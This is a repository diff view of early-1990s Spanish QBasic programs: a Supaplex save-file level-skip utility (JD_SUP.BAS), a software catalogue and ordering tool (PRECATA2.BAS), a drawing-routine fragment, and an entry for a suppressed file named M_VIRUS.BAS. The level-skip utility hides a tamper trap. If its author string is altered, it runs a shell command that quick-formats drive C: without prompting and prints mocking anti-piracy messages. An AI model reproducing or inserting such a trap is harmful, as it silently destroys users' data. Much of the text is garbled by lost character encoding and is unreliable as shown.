DRAW "G8 BR3 P0,0"
END IF
IF D7 = 1 THEN
PSET (3 + P(A), 93), 4
DRAW "E8 R17 F8 L34"
DRAW "BR12 BU3 P4,4"
ELSE
PSET (3 + P(A), 93), 0
DRAW "E8 R17 F8 L34"
DRAW "BR12 BU3 P0,0"
END IF
END IF
END SUB

169
BAS/JD_SUP.BAS Normal file
View File

@ -0,0 +1,169 @@
'SupaPlex
CLS
A$ = "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>"
b$ = "<22> <20><><EFBFBD><EFBFBD>ͼ <20> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20><>ͼ <20><> <20><><EFBFBD> ɼ"
c$ = "<22> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20><><EFBFBD>ͼ<EFBFBD> <20> <20><><EFBFBD> <20> <20><><EFBFBD><EFBFBD>ٺ <20> <20> <20> <20><> <20><><EFBFBD> <20>ͼ"
d$ = "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20><>ͼ <20> <20>Ŀ <20> <20> <20><>ͼ <20> <20> <20> <20><> <20><><EFBFBD> <20><><EFBFBD>"
e$ = "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20><><EFBFBD> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD> <20><>"
f$ = "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ <20><><EFBFBD><EFBFBD><EFBFBD>ͼ <20>ͼ <20>ͼ <20>ͼ <20>ͼ <20><><EFBFBD><EFBFBD><EFBFBD>ͼ <20><><EFBFBD><EFBFBD>ͼ <20><>ͼ <20><>ͼ"
LOCATE 21, 26: PRINT "Pulse una Tecla"
COLOR 12
RANDOMIZE TIMER
A = 1
DO
kdb$ = INKEY$
x% = INT(RND * 8) + 1
y% = INT(RND * 79) + 1
SELECT CASE x%
CASE 1: l$ = A$
CASE 2: l$ = b$
CASE 3: l$ = c$
CASE 4: l$ = d$
CASE 5: l$ = e$
CASE 6: l$ = f$
CASE 7: l$ = g$
CASE 8: l$ = h$
CASE ELSE
END SELECT
LOCATE x% + 10, y%: PRINT MID$(l$, y%, 1)
LOOP WHILE kdb$ = ""
LOCATE 11, 1: PRINT A$
LOCATE 12, 1: PRINT b$
LOCATE 13, 1: PRINT c$
LOCATE 14, 1: PRINT d$
LOCATE 15, 1: PRINT e$
LOCATE 16, 1: PRINT f$
LOCATE 21, 26: PRINT SPACE$(20)
T$(1) = " Vaciar SKIP's "
T$(2) = " - Creditos - "
T$(3) = " INFO:INFO:INFO "
COLOR 14
FOR e = 1 TO 3
LOCATE 2 + e, 30: PRINT T$(e)
NEXT
fin = false
lin = 1
DO
kdb$ = INKEY$
COLOR 14, 0
IF kdb$ = CHR$(0) + "H" THEN LOCATE 2 + lin, 30: PRINT T$(lin); : lin = lin - 1
IF kdb$ = CHR$(0) + "P" THEN LOCATE 2 + lin, 30: PRINT T$(lin); : lin = lin + 1
IF kdb$ = CHR$(27) THEN END
IF kdb$ = CHR$(13) THEN
SELECT CASE lin
CASE 1
R = 0: Cod = 0
OPEN "PLAYER.LST" FOR RANDOM AS #1 LEN = 1
IF LOF(1) = 0 THEN
COLOR 10
mem$(1) = " Para que el vaciador funcione debe haber una partida salvada "
mem$(2) = " y encontrarse este programa en el Subdirectorio de Suplaplex "
mem$(3) = " La persistencia de este error se debe a que no hay partidas salvadas "
GOSUB mensajes
GOTO df
END IF
VIEW PRINT 18 TO 24
DO WHILE R <= LOF(1)
R = R + 1
FIELD #1, 1 AS char$
GET #1, R
poc = POS(1)
PRINT char$;
IF char$ = CHR$(2) THEN
Cod = 1
LSET char$ = CHR$(1)
PUT #1, R
COLOR 14, 1
LOCATE , poc: PRINT char$
COLOR 14, 0
END IF
LOOP
df:
CLOSE #1
PRINT
IF Cod <> 0 THEN PRINT " PROCESO CONCLUIDO " ELSE PRINT " NO SE ENCONTRARON NIVELES SALTADOS "
VIEW PRINT
CASE 2
nombre$ = "Jos<6F> David Guill<6C>n Dominguez"
IF MID$(nombre$, 4, 1) <> "<22>" THEN GOTO errormo
IF MID$(nombre$, 17, 1) <> "<22>" THEN GOTO errormo
COLOR 10
mem$(1) = " Vaciador de niveles por: "
mem$(2) = " " + nombre$
mem$(3) = " c/Pintor Garcia Ramos n<>5 2D"
GOSUB mensajes
CASE 3
COLOR 10
mem$(1) = "Con este peque<75>o programa podras saltarte tantos niveles como quieras"
mem$(2) = "ya que con solo cargarlo podras <<limpiar>> el panel de control como "
mem$(3) = "si los niveles saltados ya hubieran sido hechos. "
GOSUB mensajes
CASE ELSE
END SELECT
END IF
IF lin = 0 THEN lin = 3
IF lin = 4 THEN lin = 1
COLOR 14, 7
LOCATE 2 + lin, 30: PRINT T$(lin)
LOOP
mensajes:
COLOR 10
LOCATE 8, 1: PRINT mem$(1)
LOCATE 9, 1: PRINT mem$(2)
LOCATE 10, 1: PRINT mem$(3)
SLEEP
COLOR 14, 0
LOCATE 8, 1: PRINT SPACE$(80);
LOCATE 9, 1: PRINT SPACE$(80);
LOCATE 10, 1: PRINT SPACE$(80);
RETURN
SYSTEM
errormo:
CLS
c = 11: tew$ = "Programa: SISTEMA MODIFICADO. FORMAT C: /U/Q ": GOSUB bipeador
c = 9: tew$ = "CPU: Acceso Denegado.": GOSUB bipeador
c = 11: tew$ = "Programa: Llamando a la funci<63>n BIOS &23h34d2ff": GOSUB bipeador
c = 9: tew$ = "CPU: El sistema va ha ser formateado. Interrumpir (S/N)?": GOSUB bipeador
SHELL "Format c: /u/q >NUL"
c = 11: tew$ = "Programa: funciones principales selladas; Proceso concluido": GOSUB bipeador
c = 9: tew$ = "CPU: BIO_FUNCIONES ANULADAS SISTEMA FORMATEADO": GOSUB bipeador
c = 11: tew$ = "Programa: La pirateria es DELITO... JA_JA_JA_JA": GOSUB bipeador
SYSTEM
bipeador:
COLOR c, 0
PRINT
FOR bip = 1 TO LEN(tew$)
PRINT MID$(tew$, bip, 1);
IF c = 9 THEN PLAY "f50" ELSE PLAY "c51"
NEXT
RETURN

1624
BAS/M_VIRUS.BAS Normal file

File diff suppressed because it is too large Load Diff

545
BAS/PRECATA2.BAS Normal file
View File

@ -0,0 +1,545 @@
principiodelprincipio:
REM Versi<73>n 3.0 en Qbasic de Catalogo (c)
KEY OFF
pp:
CLEAR
ON ERROR GOTO corrector
DIM lec$(12), lot$(12), T$(50), fet$(50), A$(50), tele$(50)
KEY(1) ON
KEY(2) ON
ON KEY(1) GOSUB help
ON KEY(2) GOSUB finp
CLS
GOSUB menu1
GOSUB cargachar
COLOR 1, 7
l = 1
GOSUB secuencia
espera:
KEY(11) ON
KEY(14) ON
ON KEY(11) GOSUB sube
ON KEY(14) GOSUB baja
espera3:
I$ = INKEY$
IF I$ = "" THEN GOTO espera3
IF I$ = CHR$(13) THEN GOTO ejecuta
IF I$ = CHR$(27) THEN GOSUB help
GOTO espera3
sube:
ant = l
IF l = 1 THEN l = 11 ELSE l = l - 1
GOSUB secuencia
RETURN
baja:
ant = l
IF l = 12 THEN l = 1 ELSE l = l + 1
GOSUB secuencia
RETURN
secuencia:
IF l = -1 THEN l = 11
IF l = 12 THEN l = 1
IF ant = 0 THEN ant = 1
COLOR 7, 1, 1
LOCATE 2 * ant, 2: PRINT lot$(ant)
COLOR 1, 7
LOCATE 2 * l, 2: PRINT lec$(l): RETURN
END
ejecuta:
KEY(11) OFF
KEY(14) OFF
COLOR 7, 1, 1
IF l < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat"
IF l = 1 THEN arc$ = "copy-3.dat"
ON l GOTO lp, lp, lp, lp, lp, lp, lp, lp, lp, lp, mm
END
lp:
f = l
IF f = 10 THEN f = 0
GOSUB tipodeficha
REM LISTA DE PROGRAMAS
IF Tf$ = "0" THEN arc$ = "copy-1.dat"
OPEN "R", #1, arc$, 14
contador = 13: COLUMNA = 34
FOR A = 1 TO LOF(1) / 14 + 1
FIELD #1, 1 AS fichero$, 10 AS T$, 3 AS DISK$
GET #1, A
IF fichero$ = Tf$ THEN GOTO imprime ELSE GOTO continua
imprime:
COLOR 12, 1, 1
LOCATE contador, COLUMNA: IF T$ = " " THEN GOTO continua ELSE PRINT T$
contador = contador + 1
IF COLUMNA = 60 AND contador = 22 THEN GOSUB contimpre
IF contador = 22 THEN contador = 13: COLUMNA = COLUMNA + 13
continua:
NEXT A
CLOSE #1
COLOR 14, 1, 1
LOCATE 4, 60: PRINT "PULSE UNA TECLA"
COLOR 15, 1, 1
LOCATE 5, 60: PRINT "Para ir al MEN<45> "
p:
IF INKEY$ = "" THEN GOTO p
COLOR 7, 1, 1
FOR brr = 13 TO 22: LOCATE brr, 34: PRINT STRING$(37, " "): NEXT brr
LOCATE 4, 60: PRINT " F1 HELP "
LOCATE 5, 60: PRINT " F2 Exit to DOS"
GOTO espera
contimpre:
COLOR 14, 1, 1
LOCATE 4, 60: PRINT "Pulse una tecla"
LOCATE 5, 60: PRINT "para continuar."
COLOR 7, 1, 1
p2:
IF INKEY$ = "" THEN GOTO p2
LOCATE 4, 60: PRINT " "
LOCATE 5, 60: PRINT " "
contador = 13: COLUMNA = 34
FOR ba = 13 TO 22: LOCATE ba, 34: PRINT STRING$(37, " "): NEXT ba
RETURN
END
mm:
GOSUB menu2
l2 = 1
GOSUB secuencia2
espera2:
KEY(11) ON
KEY(14) ON
ON KEY(11) GOSUB sube2
ON KEY(14) GOSUB baja2
espera4:
I$ = INKEY$
IF I$ = "" THEN GOTO espera4
IF I$ = CHR$(13) THEN GOTO ejecuta2
IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB menu1: GOSUB secuencia: COLOR 1, 7: GOTO espera
GOTO espera4
sube2:
ant2 = l2
IF l2 = 1 THEN l2 = 3 ELSE l2 = l2 - 1
IF ant2 = 0 THEN ant2 = 1
GOSUB secuencia2
RETURN
baja2:
ant2 = l2
IF l2 = 3 THEN l2 = 1 ELSE l2 = l2 + 1
GOSUB secuencia2
RETURN
secuencia2:
IF l2 = -1 THEN l2 = 3
IF l2 = 4 THEN l2 = 1
COLOR 7, 1, 1
IF ant2 = 1 THEN LOCATE 5, 39: PRINT lot2$(ant2)
IF ant2 = 2 THEN LOCATE 6, 39: PRINT lot2$(ant2)
IF ant2 = 3 THEN LOCATE 8, 39: PRINT lot2$(ant2)
COLOR 1, 7
IF l2 = 1 THEN LOCATE 5, 39: PRINT lec2$(l2): RETURN
IF l2 = 2 THEN LOCATE 6, 39: PRINT lec2$(l2): RETURN
IF l2 = 3 THEN LOCATE 8, 39: PRINT lec2$(l2): RETURN
END
ejecuta2:
KEY(11) OFF
KEY(14) OFF
ON l2 GOTO il, gp, C
GOTO espera2
END
il:
ON ERROR GOTO corrector
REM FICHERO PARA IMPRIMIR
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "Esta usd. en la secci<63>n de impresion."
LOCATE 15, 34: PRINT "Cerciorese de que la impresora este"
LOCATE 16, 34: PRINT "encendida y de que tenga papel."
LOCATE 18, 34: PRINT " Pulse una tecla..."
N:
Q$ = INKEY$: IF Q$ = "" THEN GOTO N
IF Q$ = CHR$(27) THEN FOR A = 14 TO 18: LOCATE A, 34: PRINT STRING$(38, " "): NEXT: GOTO subbrutinas
FOR A = 14 TO 18: LOCATE A, 34: PRINT STRING$(38, " "): NEXT
pagina = 1
CLOSE #3: OPEN "lpt1:" FOR OUTPUT AS #3: PRINT #3, CHR$(27); "!"; CHR$(20)
LPRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
LPRINT "<22><> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>"
LPRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD>"
LPRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20>"
LPRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>"
LPRINT "<22><> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>"
LPRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
LPRINT "<22>J.D Guill<6C>n s.u '92<39>"
LPRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
LPRINT "El n<>mero que sigue al nombre del programa, indica"
LPRINT "la cantidad de diskettes que est<73> ocupa. Diskett de 3 <20>"
LPRINT "Disponible el 75% de los programas en diskettes de 5 <20>"
contador = 12
sleep=15
f = 1
nf:
' EMPIEZA LA ETAPA f=A
IF contador > 50 THEN GOSUB finlista
CLOSE #1: OPEN "LPT1:" FOR OUTPUT AS #1: PRINT #1, CHR$(27); "!"; CHR$(97)
IF f = 1 THEN LPRINT "JUEGOS"
IF f = 2 THEN LPRINT "MUSICA"
IF f = 3 THEN LPRINT "PROCESADORES DE TEXTO"
IF f = 4 THEN LPRINT "PROGRAMAS DE CONTABILIDAD"
IF f = 5 THEN LPRINT "PROGRAMAS DE ELECTRONICA"
IF f = 6 THEN LPRINT "GRAFICOS"
IF f = 7 THEN LPRINT "UTILIDADES"
IF f = 8 THEN LPRINT "COPIONES"
IF f = 9 THEN LPRINT "LENGUAJES"
IF f = 10 THEN f = 0: LPRINT "ANTIVIRUS"
contador = contador + 2
CLOSE #1: CLOSE #2: OPEN "LPT1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(1)
IF f < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat"
IF l = 1 THEN arc$ = "copy-3.dat"
IF f = 0 THEN arc$ = "copy-1.dat"
OPEN "R", #1, arc$, 14
GOSUB tipodeficha
FOR A = 1 TO LOF(1) / 14
FIELD #1, 1 AS fichero$, 10 AS T$, 3 AS DISK$
GET #1
IF fichero$ <> Tf$ THEN GOTO sinsuerte
IF T$ <> " " THEN GOSUB guarda
IF G = 0 THEN PRINT #2, CHR$(27): contador = contador + 1
IF contador > 55 THEN GOSUB finlista
sinsuerte:
NEXT A
CLOSE #1
IF EF$ <> "" THEN LPRINT EF$; TAB(13); EFD$; TAB(20); EL$; TAB(33); ELD$; TAB(40); EO$; TAB(53); EOD$; TAB(60); EO4$; TAB(73); EOD4$
EF$ = "": EL$ = "": EO$ = "": EO4$ = ""
EFD$ = "": ELD$ = "": EOD$ = "": EOD4$ = "": G = 0
IF contador > 50 THEN GOSUB finlista
IF f <> 0 THEN f = f + 1: GOTO nf
CLOSE #2: OPEN "lpt1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(33)
OPEN "r", #1, "MENSAJES", 30
FOR A = 1 TO 5
FIELD #1, 30 AS MENSAJE$
GET #1
LPRINT TAB(5); MENSAJE$
NEXT A
CLOSE #1
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "Lista terminada..."
LOCATE 15, 34: PRINT "PULSE UNA TECLA PARA VOLVER AL MENU"
d:
IF INKEY$ = "" THEN GOTO d
COLOR 7, 1, 1
LOCATE 14, 34: PRINT " "
LOCATE 15, 34: PRINT " "
GOTO subbrutinas
finlista:
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "Cuando deje de imprimir ponga papel"
LOCATE 15, 34: PRINT " Pulse entonces una tecla para "
LOCATE 16, 34: PRINT " continuar listando."
COLOR 7, 1, 1
m:
IF INKEY$ = "" THEN GOTO m
LOCATE 14, 34: PRINT " "
LOCATE 15, 34: PRINT " "
LOCATE 16, 34: PRINT " "
CLOSE #2: OPEN "LPT1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(1)
contador = 0: RETURN
guarda:
G = G + 1
IF G = 1 THEN EF$ = T$: EFD$ = DISK$
IF G = 2 THEN EL$ = T$: ELD$ = DISK$
IF G = 3 THEN EO$ = T$: EOD$ = DISK$
IF G = 4 THEN EO4$ = T$: EOD4$ = DISK$: GOTO imprimelinea
RETURN
END
imprimelinea:
LPRINT EF$; TAB(13); EFD$; TAB(20); EL$; TAB(33); ELD$; TAB(40); EO$; TAB(53); EOD$; TAB(60); EO4$; TAB(73); EOD4$;
EF$ = "": EL$ = "": EO$ = "": EO4$ = ""
EFD$ = "": ELD$ = "": EOD$ = "": EOD4$ = "": G = 0
RETURN
gp:
' GRABAR DATOS DE PEDIDOS
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "SIGUA LAS INDICACIONES PERTINENTES"
p4:
I$ = INKEY$
IF I$ = "" THEN GOTO p4
IF I$ = CHR$(27) THEN LOCATE 14, 34: PRINT STRING$(37, " "): GOTO subbrutinas
LOCATE 14, 34: PRINT "Nombre del programa/s... "
COLOR 12, 1, 1
PL = 15: TCOL = 34
FOR zA = 1 TO 21
PL = PL + 1
COLOR 12, 1, 1
lin = PL: col = TCOL: lon = 10: tipo$ = " ..z": GOSUB limlin: A$(zA) = texto$
IF PL = 22 THEN PL = 15: TCOL = TCOL + 13
CREO = CREO + 1: IF A$(zA) = " " THEN GOTO cont
NEXT zA
cont:
COLOR 14, 1, 1
LOCATE 13, 34: PRINT "INTRODUCE TU NOMBRE: "
LOCATE 14, 34: PRINT " "
COLOR 15, 1, 1
lin = 15: col = 34: lon = 8: tipo$ = "0..Z": GOSUB limlin: nombre$ = texto$
fil$ = nombre$ + ".JD"
OPEN "R", #2, "commun_d.jd", 8
FIELD #2, 8 AS nom$
LSET nom$ = nombre$
PUT #2, LOF(2) / 8 + 1
CLOSE #2
OPEN "R", #1, fil$, 10
FOR b = 1 TO CREO + 1
FIELD #1, 10 AS tele$
LSET tele$ = A$(b)
PUT #1, LOF(1) / 10 + 1
NEXT b
CLOSE #1
FOR e = 13 TO 22: LOCATE e, 33: PRINT STRING$(38, " "): NEXT
GOTO subbrutinas
END
C:
COLOR 7, 1, 1
LOCATE 3, 49: PRINT "Creditos "
LOCATE 14, 33: PRINT " (c) C A T A L O G O v3.0 "
LOCATE 16, 33: PRINT " Pantallas y programa ... "
COLOR 12
LOCATE 18, 33: PRINT " Jos<6F> David Guill<6C>n "
LOCATE 19, 33: PRINT " Tlf. 561-XX-XX "
COLOR 7, 1, 1
LOCATE 21, 33: PRINT " 1993, 1<>BTI "
pause:
IF INKEY$ = "" THEN GOTO pause
FOR Q = 14 TO 22: LOCATE Q, 33: PRINT SPC(37); : NEXT Q
GOTO subbrutinas
subbrutinas:
GOSUB secuencia
GOSUB menu2
GOSUB secuencia2
GOTO espera2
END
menu1:
COLOR 7, 1, 1
CLS
PRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> <20><> ";
PRINT "<22> Juegos <20><> <20> <20> <20><> <20><> Catalogo v3.0 <20><> ";
PRINT "<22> <20><> <20> <20> <20><> <20><> <20><> ";
PRINT "<22> Musica <20><> <20> <20> <20> <20><> F1 Help <20><> ";
PRINT "<22> <20><> <20> <20> <20> <20><> <20><> F2 Exit to DOS <20><> ";
PRINT "<22> Procesadores de textos <20><> <20> <20> <20> <20><> ܳ<> <20><><EFBFBD> ";
PRINT "<22> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
PRINT "<22> Pgr. Contabilidad <20><> <20><><EFBFBD><EFBFBD>on<6F>line۰<65>lf۰<66><DBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
PRINT "<22> <20><> Jos<6F> David Guill<6C>n '93 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
PRINT "<22> Pgr. Electronica <20><> "
PRINT "<22> <20><>"
PRINT "<22> Graficos <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ";
PRINT "<22> <20><> <20> <20><>";
PRINT "<22> Utilidades <20><> <20> <20><>";
PRINT "<22> <20><> <20> <20><>";
PRINT "<22> Copiones <20><> <20> <20><>";
PRINT "<22> <20><> <20> <20><>";
PRINT "<22> Lenguajes <20><> <20> <20><>";
PRINT "<22> <20><> <20> <20><>";
PRINT "<22> Anti_virus <20><> <20> <20><>";
PRINT "<22> <20><> <20> <20><>";
PRINT "<22> - MEN<45> PRINCIPAL - <20><> <20> <20><>";
PRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٱ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٱ";
PRINT " <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
RETURN
menu2:
COLOR 7, 1, 1
LOCATE 2, 32: PRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD>";
LOCATE 3, 32: PRINT "<22> Men<65> actual: MEN<45> PRINCIPAL <20><>";
LOCATE 4, 32: PRINT "<22> <20><>";
LOCATE 5, 32: PRINT "<22> Imprimir Lista <20><>";
LOCATE 6, 32: PRINT "<22> Grabar programas elegidos <20><>";
LOCATE 7, 32: PRINT "<22> <20><>";
LOCATE 8, 32: PRINT "<22> Creditos <20><>";
LOCATE 9, 32: PRINT "<22> <20><>";
LOCATE 10, 32: PRINT "<22> Men<65> de Datos ( JD ) <20><>";
LOCATE 11, 32: PRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ";
LOCATE 1, 32: PRINT " <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
COLOR 9, 1, 1
LOCATE 10, 39: PRINT "Men<65> de Datos ( JD )"
COLOR 7, 1, 1
RETURN
menu3:
COLOR 7, 1, 1
LOCATE 2, 32: PRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD>";
LOCATE 3, 32: PRINT "<22> Men<65> actual: Men<65> de Datos ( JD ) <20><>";
LOCATE 4, 32: PRINT "<22> <20><>";
LOCATE 5, 32: PRINT "<22> Introducir nuevos programas <20><>";
LOCATE 6, 32: PRINT "<22> Borrar programas <20><>";
LOCATE 7, 32: PRINT "<22> <20><>";
LOCATE 8, 32: PRINT "<22> Introducir mensaje <20><>";
LOCATE 9, 32: PRINT "<22> <20><>";
LOCATE 10, 32: PRINT "<22> Visionar / Borrar pedidos <20><>";
LOCATE 11, 32: PRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ";
